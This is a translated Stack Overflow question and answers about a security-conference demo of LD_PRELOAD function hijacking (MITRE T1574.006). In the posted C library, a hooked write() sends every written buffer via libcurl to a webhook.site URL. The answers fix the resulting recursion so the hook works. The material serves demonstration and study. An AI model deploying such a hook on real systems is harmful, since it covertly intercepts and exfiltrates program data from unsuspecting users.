【问题标题】:libcurl and LD_PRELOADlibcurl 和 LD_PRELOAD
【发布时间】:2021-04-04 15:49:38
【问题描述】:

我正在使用 LD_PRELOAD 创建一个小程序示例,以便在安全会议上演示 Mitre ATT&CK ID T1574.006。我大部分时间都在工作,但我遇到的一个问题是使用 libcurl 作为演示的一部分。当我在这里使用示例 POST 代码时:https://curl.se/libcurl/c/http-post.html 我的程序一直循环,直到我终止它并且不发布任何数据。

如果有人能指出我正确的方向,我将不胜感激。基本上我要做的是在返回标准写入函数之前将数据发布到站点。

代码如下:

ma​​in.c

#include <unistd.h>
#include <string.h>

int main(int argc, char **argv) {
    const char *msg = "Hello write\n";
    // 1 writes to stdout file descriptor
    write(1, msg, strlen(msg));
    return 0;
}

inject.c

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <unistd.h>
#include <curl/curl.h>
#include <string.h>
void postData(char *postData) {

  CURL *curl;
  CURLcode res;

  /* In windows, this will init the winsock stuff */
  curl_global_init(CURL_GLOBAL_ALL);

  char testData[500];
  strcpy(testData, "testData=");
  strcat(testData, postData);
  printf("%s\n", testData);

  /* get a curl handle */
  curl = curl_easy_init();
  if(curl) {
    /* First set the URL that is about to receive our POST. This URL can
       just as well be a https:// URL if that is what should receive the
       data. */
    curl_easy_setopt(curl, CURLOPT_URL, "https://webhook.site/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx");
    /* Now specify the POST data */
    curl_easy_setopt(curl, CURLOPT_POSTFIELDS, testData);

    /* Perform the request, res will get the return code */
    res = curl_easy_perform(curl);
    /* Check for errors */
    if(res != CURLE_OK)
      fprintf(stderr, "curl_easy_perform() failed: %s\n",
              curl_easy_strerror(res));

    /* always cleanup */
    curl_easy_cleanup(curl);
  }
  curl_global_cleanup();
}

ssize_t write(int fd, const void *buf, size_t count) {

  char *p = (char *)buf;
  printf("From main: %s\n", p);
  postData(p);  

  // Look up the next write symbol
  ssize_t (*orig_write)(int fd, const void *buf, size_t count) = dlsym(RTLD_NEXT, "write");

  return orig_write(fd, buf, count);
}

这是我一直在编译和执行的方式:

TARGET = example_6

all: main.c
        gcc main.c -g -o ${TARGET}
        gcc -shared -g -fPIC inject.c -o inject.so -ldl
run:
        LD_PRELOAD=./inject.so ./${TARGET}

【问题讨论】:

    标签: c libcurl ld-preload


    【解决方案1】:

    postData 可以拨打 write 电话(例如,printffprintf 您在 postData 中的电话)。由于write 被截获,它从postData 调用你截获的write 函数......然后它再次转到postData 并继续。这就是“循环”发生的方式。

    您需要确保postData 中没有任何内容调用write。如果您确实需要打印某些内容,则必须使用另一种方式。您可以改用syscall (Linux)。

    syscall(SYS_write, STDOUT_FILENO, testData, strlen(testData));
    

    如果curl_* 函数碰巧调用了write,同样的情况也可能发生。

    【讨论】:

    • 谢谢!这是完全有道理的。当我把它放在一起时,甚至从未考虑过。我仍在阅读 LD_PRELOAD。你知道我是否想避免这种行为是派生子进程然后在子进程中使用 unsetenv 的最佳计划吗?
    • 我看不出在postData 调用write 中没有任何问题(您可以通过检查 curl 代码轻松验证这一点)。 fork 方法也很好,但如果你要为每个 write 调用分叉,那将不会是有效的。此外,您需要在分叉之前unsetenv (因为一旦write 解析为您截获的呼叫,unsetenv 就无法改变任何东西)。
    【解决方案2】:

    如果有人回过头来,我最终会使用 unsetenv 并解决了我的问题

    【讨论】:

      猜你喜欢
      • 2023-04-08
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2012-05-28
      • 1970-01-01
      • 2022-01-09
      • 2015-11-29
      相关资源
      最近更新 更多